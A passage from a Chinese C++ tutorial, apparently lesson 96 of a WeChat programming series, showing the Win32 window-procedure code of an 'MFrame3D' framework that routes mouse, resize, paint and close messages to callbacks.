case WM_MOUSEMOVE:

if(m_mouse){

if(wParam&

MK_RBUTTON)

m_mouse->processEvent(RButton,Move,LOWORD(lParam),HIWORD(lParam));

else if(wParam&

MK_LBUTTON)

m_mouse->processEvent(LButton,Move,LOWORD(lParam),HIWORD(lParam));

}

break;


case WM_SIZE:

if (m_Reshape != nullptr)

m_Reshape(LOWORD(lParam), HIWORD(lParam));

break;


case WM_PAINT:

if(m_DrawScreen)

m_DrawScreen();

SwapBuffers(m_hdc);

break;


case WM_CLOSE:

b_done = true;

;

PostQuitMessage(0);

break;

}

if (m_add_wndproc)

m_add_wndproc(hwnd, msg, wParam, lParam);


return DefWindowProc(hwnd, msg, wParam, lParam);

}


// =========================

//窗口回调函数

LRESULT CALLBACK MWindowBase::WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam){

if (m_WndProc){


return m_WndProc(hwnd, msg, wParam, lParam);

}

else{


return DefWindowProc(hwnd, msg, wParam, lParam);

}

}

}

//=========================

我们所有的窗口就是从这里产生的,所有的消息都是从这里路由出去的,msgloop实现消息循环,WndProc实现消息处理,当然我们没在这里处理,我们都将消息派发给鼠标键盘来处理,最后的结果都交由我们在鼠标键盘中的run中处理,等我们把这框架介绍完后会给出使用实例。


============================

回复D&

d直接查看目录

原文始发于微信公众号(

C/C++的编程教室

):第九十六讲 MFrame3D框架(2)

|